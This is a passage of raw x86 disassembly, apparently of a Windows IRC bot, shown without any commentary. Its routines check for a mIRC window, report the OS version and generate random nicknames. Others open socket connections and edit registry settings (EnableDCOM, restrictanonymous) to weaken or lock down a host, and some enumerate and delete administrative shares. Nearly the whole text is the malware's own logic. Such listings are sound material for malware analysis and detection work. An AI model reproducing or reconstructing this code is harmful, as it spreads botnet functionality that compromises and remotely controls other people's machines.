var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

		push	esi
		push	edi
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		mov	edi, [esp+0Ch+arg_4]
		mov	[esp+0Ch+var_C], offset	dword_515648
		push	offset dword_42433C
		push	1Ch
		push	edi
		call	sub_41792A
		xor	esi, esi
		add	esp, 10h
		cmp	dword_42ECFC, esi
		jle	short loc_415F80


loc_415F5A:				; CODE XREF: sub_415F27+57j
		call	sub_417408
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43ADF4
		push	1Ch
		push	edi
		call	sub_41792A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42ECFC
		jl	short loc_415F5A


loc_415F80:				; CODE XREF: sub_415F27+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_415F27	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F85	proc near		; CODE XREF: sub_40F6F1+3F7Ap

arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		call	sub_417408
		push	3
		mov	ebx, [esp+10h+arg_4]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_42ECFC
		test	esi, esi
		jle	short loc_415FC8


loc_415FB2:				; CODE XREF: sub_415F85+41j
		call	sub_417408
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_415FB2


loc_415FC8:				; CODE XREF: sub_415F85+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415F85	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		push	ebx
		push	esi
		lea	eax, [ebp-0C8h]
		push	edi
		push	eax
		mov	edi, offset byte_43C63C
		mov	dword ptr [ebp-0C8h], 94h
		nop
		call	near ptr 7C812ADEh
		cmp	dword ptr [ebp-0C4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_41604C
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_41602D
		cmp	dword ptr [ebp-0B8h], 1
		jnz	short loc_41601D
		mov	edi, offset a95	; "95"


loc_41601D:				; CODE XREF: ___:00416016j
		cmp	dword ptr [ebp-0B8h], 2
		jnz	short loc_416088
		mov	edi, offset aNt	; "NT"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41602D:				; CODE XREF: ___:0041600Dj
		cmp	[ebp-0C0h], ebx
		jnz	short loc_41603C
		mov	edi, offset a98	; "98"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: ___:00416033j
		cmp	dword ptr [ebp-0C0h], 5Ah
		jnz	short loc_416083
		mov	edi, offset aMe	; "ME"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_41604C:				; CODE XREF: ___:00416004j
		cmp	dword ptr [ebp-0C4h], 5
		jnz	short loc_416083
		cmp	dword ptr [ebp-0C0h], 0
		jnz	short loc_416065
		mov	edi, offset a2k	; "2K"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_416065:				; CODE XREF: ___:0041605Cj
		cmp	dword ptr [ebp-0C0h], 1
		jnz	short loc_416075
		mov	edi, offset aXp	; "XP"
		jmp	short loc_416088
; ---------------------------------------------------------------------------


loc_416075:				; CODE XREF: ___:0041606Cj
		cmp	dword ptr [ebp-0C0h], 2
		mov	edi, offset dword_43AE3C
		jz	short loc_416088


loc_416083:				; CODE XREF: ___:00416043j
					; ___:00416053j
		mov	edi, offset dword_43AE38


loc_416088:				; CODE XREF: ___:00416024j
					; ___:0041602Bj ...
		lea	eax, [ebp-0B4h]
		push	offset dword_441700
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4160A6
		mov	esi, offset dword_43AE34
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160A6:				; CODE XREF: ___:0041609Dj
		lea	eax, [ebp-0B4h]
		push	offset a1	; "1"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160C4
		mov	esi, offset sub_43AE30
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160C4:				; CODE XREF: ___:004160BBj
		lea	eax, [ebp-0B4h]
		push	offset a2	; "2"
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4160E2
		mov	esi, offset sub_43AE2C
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_4160E2:				; CODE XREF: ___:004160D9j
		lea	eax, [ebp-0B4h]
		push	offset dword_43AE28
		push	eax
		call	sub_417980
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416100
		mov	esi, offset dword_43AE24
		jmp	short loc_416121
; ---------------------------------------------------------------------------


loc_416100:				; CODE XREF: ___:004160F7j
		lea	eax, [ebp-0B4h]
		push	offset dword_43AE20
		push	eax
		call	sub_417980
		pop	ecx
		mov	esi, offset dword_43AE1C
		test	eax, eax
		pop	ecx
		jnz	short loc_416121
		mov	esi, offset off_43AE18


loc_416121:				; CODE XREF: ___:004160A4j
					; ___:004160C2j ...
		push	dword ptr [ebp+8]
		call	sub_40AFAB
		push	eax
		call	sub_40ADFD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41613C
		push	offset dword_42D19C
		jmp	short loc_416141
; ---------------------------------------------------------------------------


loc_41613C:				; CODE XREF: ___:00416133j
		push	offset aW	; "W"


loc_416141:				; CODE XREF: ___:0041613Aj
		lea	eax, [ebp-34h]
		push	10h
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		lea	eax, [ebp-8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_40BBF6
		pop	ecx
		push	eax
		call	sub_417FCC
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_416199
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41792A
		add	esp, 10h
		jmp	short loc_4161BD
; ---------------------------------------------------------------------------


loc_416199:				; CODE XREF: ___:00416182j
		cmp	eax, 64h
		jge	short loc_4161AB
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_4204FC
		jmp	short loc_4161BA
; ---------------------------------------------------------------------------


loc_4161AB:				; CODE XREF: ___:0041619Cj
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41792A


loc_4161BA:				; CODE XREF: ___:004161A9j
		add	esp, 0Ch


loc_4161BD:				; CODE XREF: ___:00416197j
		nop
		call	near ptr 7C80929Ch
		push	eax
		call	sub_4173FE
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 7C80D262h
		lea	eax, [ebp-34h]
		push	eax
		push	esi
		lea	eax, [ebp-18h]
		push	edi
		mov	edi, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	offset aSSSSS	; "%s|%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41792A
		xor	esi, esi
		add	esp, 20h
		cmp	dword_42ECFC, esi
		jle	short loc_41622C


loc_416207:				; CODE XREF: ___:0041622Aj
		call	sub_417408
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43ADF4
		push	1Ch
		push	edi
		call	sub_41792A
		add	esp, 14h
		inc	esi
		cmp	esi, dword_42ECFC
		jl	short loc_416207


loc_41622C:				; CODE XREF: ___:00416205j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416233	proc near		; CODE XREF: sub_4162D6+60p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		nop
		call	near ptr 7C80929Ch
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_416282
		call	dword_4413C4	; FindWindowA
		test	eax, eax
		mov	eax, offset off_43AE48
		jnz	short loc_41626B
		mov	eax, offset byte_43C63C


loc_41626B:				; CODE XREF: sub_416233+31j
		push	eax
		push	esi
		push	offset dword_43AE40
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41792A
		add	esp, 14h
		jmp	short loc_4162A2
; ---------------------------------------------------------------------------


loc_416282:				; CODE XREF: sub_416233+22j
		call	dword_4413C4	; FindWindowA
		test	eax, eax
		mov	eax, offset off_43AE48
		jnz	short loc_416296
		mov	eax, offset byte_43C63C


loc_416296:				; CODE XREF: sub_416233+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4162A2:				; CODE XREF: sub_416233+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AF0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_4162D1
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4184C0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_4182F0
		add	esp, 18h


loc_4162D1:				; CODE XREF: sub_416233+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_416233	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162D6	proc near		; CODE XREF: sub_40F326+CEp
					; sub_40F576+53p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43ADC4


loc_4162E2:				; CODE XREF: sub_4162D6+3Fj
		cmp	[ebp+arg_10], 0
		jz	short loc_4162FD
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_10]
		call	sub_4177D0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_416307
; ---------------------------------------------------------------------------


loc_4162FD:				; CODE XREF: sub_4162D6+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_8]
		setz	al


loc_416307:				; CODE XREF: sub_4162D6+25j
		test	eax, eax
		jnz	short loc_416319
		add	esi, 14h
		inc	edi
		cmp	esi, 43AE00h
		jl	short loc_4162E2
		jmp	short loc_41632B
; ---------------------------------------------------------------------------


loc_416319:				; CODE XREF: sub_4162D6+33j
		push	[ebp+arg_4]
		lea	eax, [edi+edi*4]
		push	[ebp+arg_0]
		call	off_43ADC8[eax*4]
		pop	ecx
		pop	ecx


loc_41632B:				; CODE XREF: sub_4162D6+41j
		cmp	[ebp+arg_C], 0
		pop	edi
		pop	esi
		jz	short loc_41633E
		push	[ebp+arg_4]
		call	sub_416233
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41633E:				; CODE XREF: sub_4162D6+5Bj
		mov	eax, [ebp+arg_4]
		pop	ebp
		retn
sub_4162D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416343	proc near

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_441438	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416401
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_441360	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_446E1C[ecx], esi
		jz	short loc_416401
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	dword_441444	; inet_ntoa
		push	eax
		mov	edi, offset dword_515654
		push	offset unk_43AE4C
		push	edi
		call	sub_4173AC
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_40DC10
		push	edi
		call	sub_40C4F7
		add	esp, 28h


loc_416401:				; CODE XREF: sub_416343+5Dj
					; sub_416343+7Ej
		push	esi
		call	dword_441450	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_416343	endp

; ---------------------------------------------------------------------------
dword_416410	dd 81EC8B55h, 130ECh, 5D8B5300h, 6A575608h, 59F38B2Ah
					; DATA XREF: sub_40F6F1+36F1o
		dd 0FF50BD8Dh, 0A5F3FFFFh, 1070358Bh, 83C70042h, 0A0h
		dd 1, 75FFFF33h, 0E075FFD4h, 144415FFh,	8D500044h, 0FFFED085h
		dd 0AE8468FFh, 0E8500043h, 0F50h, 0FED0858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 6C100500h, 0E8500044h
		dd 1E74h, 8D1CC483h, 8D50F845h,	0FFFF5085h, 685057FFh
		dd 416343h, 0E8905757h,	7C3FA19Fh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 94E890FCh, 0FF7C3F36h
		dd 88B3h, 0A4BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 0FC0h, 0FF0CC483h, 15FF0875h, 4412ECh, 45895040h
		dd 0B415FF08h, 89004413h, 458D0845h, 50046A08h,	50E0458Dh
		dd 0F97E8h, 0CC48300h, 0FFFF3DE9h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416501	proc near		; DATA XREF: sub_40F6F1+608Fo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_416548
		call	sub_416561
		jmp	short loc_41654D
; ---------------------------------------------------------------------------


loc_416548:				; CODE XREF: sub_416501+3Ej
		call	sub_416885


loc_41654D:				; CODE XREF: sub_416501+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_417174
		pop	ecx
		push	0
		nop
		call	near ptr 7C80C058h
sub_416501	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416561	proc near		; CODE XREF: sub_416501+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_441488, edi
		jnz	loc_416693
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4165EC
		mov	ax, word_43B23C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4165CE
		push	offset unk_43B1FC
		jmp	short loc_4165D3
; ---------------------------------------------------------------------------


loc_4165CE:				; CODE XREF: sub_416561+64j
		push	offset dword_43B1D0


loc_4165D3:				; CODE XREF: sub_416561+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4165FF
; ---------------------------------------------------------------------------


loc_4165EC:				; CODE XREF: sub_416561+36j
		lea	eax, [ebp+var_214]
		push	offset unk_43B190
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4165FF:				; CODE XREF: sub_416561+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41661E
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_41661E:				; CODE XREF: sub_416561+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41668C
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41666E
		push	offset unk_43B130
		jmp	short loc_416673
; ---------------------------------------------------------------------------


loc_41666E:				; CODE XREF: sub_416561+104j
		push	offset unk_43B0EC


loc_416673:				; CODE XREF: sub_416561+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4166A6
; ---------------------------------------------------------------------------


loc_41668C:				; CODE XREF: sub_416561+E2j
		push	offset unk_43B0A0
		jmp	short loc_416698
; ---------------------------------------------------------------------------


loc_416693:				; CODE XREF: sub_416561+13j
		push	offset unk_43B060


loc_416698:				; CODE XREF: sub_416561+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4166A6:				; CODE XREF: sub_416561+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4166C5
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4166C5:				; CODE XREF: sub_416561+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		cmp	dword_4414B0, edi
		pop	ecx
		jnz	loc_416840
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_4166E8:				; CODE XREF: sub_416561+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_441304
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_416785
		cmp	eax, 0EAh
		jz	short loc_416785
		mov	esi, offset off_43AEC8


loc_416719:				; CODE XREF: sub_416561+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40E261
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416730
		push	offset unk_43B02C
		jmp	short loc_416735
; ---------------------------------------------------------------------------


loc_416730:				; CODE XREF: sub_416561+1C6j
		push	offset unk_43AFF0


loc_416735:				; CODE XREF: sub_416561+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_416768
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416768:				; CODE XREF: sub_416561+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43AEE8
		jl	short loc_416719
		jmp	loc_41681D
; ---------------------------------------------------------------------------


loc_416785:				; CODE XREF: sub_416561+1AAj
					; sub_416561+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_416814


loc_416794:				; CODE XREF: sub_416561+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_417C91
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416809
		push	edi
		call	sub_40E14E
		push	eax
		push	0
		call	sub_40E261
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4167C3
		push	offset unk_43AFBC
		jmp	short loc_4167C8
; ---------------------------------------------------------------------------


loc_4167C3:				; CODE XREF: sub_416561+259j
		push	offset unk_43AF80


loc_4167C8:				; CODE XREF: sub_416561+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_4167FC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4167FC:				; CODE XREF: sub_416561+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_416809:				; CODE XREF: sub_416561+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_416794
		xor	edi, edi


loc_416814:				; CODE XREF: sub_416561+22Dj
		push	[ebp+var_8]
		call	dword_441448


loc_41681D:				; CODE XREF: sub_416561+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_4166E8
		lea	eax, [ebp+var_214]
		push	offset unk_43AF48
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_416853
; ---------------------------------------------------------------------------


loc_416840:				; CODE XREF: sub_416561+177j
		lea	eax, [ebp+var_214]
		push	offset unk_43AF08
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416853:				; CODE XREF: sub_416561+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416871
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416871:				; CODE XREF: sub_416561+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40C4F7
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_416561	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416885	proc near		; CODE XREF: sub_416501:loc_416548p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_441488, ebx
		push	esi
		jnz	loc_4169B3
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_416910
		mov	ax, word_43B424
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_4168F2
		push	offset unk_43B3F0
		jmp	short loc_4168F7
; ---------------------------------------------------------------------------


loc_4168F2:				; CODE XREF: sub_416885+64j
		push	offset dword_43B3C4


loc_4168F7:				; CODE XREF: sub_416885+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_416923
; ---------------------------------------------------------------------------


loc_416910:				; CODE XREF: sub_416885+36j
		lea	eax, [ebp+var_220]
		push	offset unk_43B190
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_416923:				; CODE XREF: sub_416885+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416942
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416942:				; CODE XREF: sub_416885+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurren_0 ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_441428	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4169AC
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4413DC	; RegSetValueExA
		test	eax, eax
		jz	short loc_41698E
		push	offset unk_43B378
		jmp	short loc_416993
; ---------------------------------------------------------------------------


loc_41698E:				; CODE XREF: sub_416885+100j
		push	offset unk_43B334


loc_416993:				; CODE XREF: sub_416885+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_441394	; RegCloseKey
		jmp	short loc_4169C6
; ---------------------------------------------------------------------------


loc_4169AC:				; CODE XREF: sub_416885+E2j
		push	offset unk_43B2E8
		jmp	short loc_4169B8
; ---------------------------------------------------------------------------


loc_4169B3:				; CODE XREF: sub_416885+13j
		push	offset unk_43B060


loc_4169B8:				; CODE XREF: sub_416885+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_4169C6:				; CODE XREF: sub_416885+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4169E5
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_4169E5:				; CODE XREF: sub_416885+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		cmp	dword_4414B0, ebx
		pop	ecx
		jnz	loc_416B57
		push	edi
		mov	esi, offset off_43AEC8
		mov	edi, 200h


loc_416A09:				; CODE XREF: sub_416885+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40E1B5
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416A24
		push	offset unk_43B2B8
		jmp	short loc_416A29
; ---------------------------------------------------------------------------


loc_416A24:				; CODE XREF: sub_416885+196j
		push	offset unk_43B280


loc_416A29:				; CODE XREF: sub_416885+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41792A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416A58
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		add	esp, 14h


loc_416A58:				; CODE XREF: sub_416885+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40C4F7
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43AED8
		jl	short loc_416A09
		nop
		call	near ptr 7C830B14h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416B3F


loc_416A83:				; CODE XREF: sub_416885+2B4j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_416B34
		cmp	bl, 41h
		jz	loc_416B34
		movsx	esi, bl
		push	esi
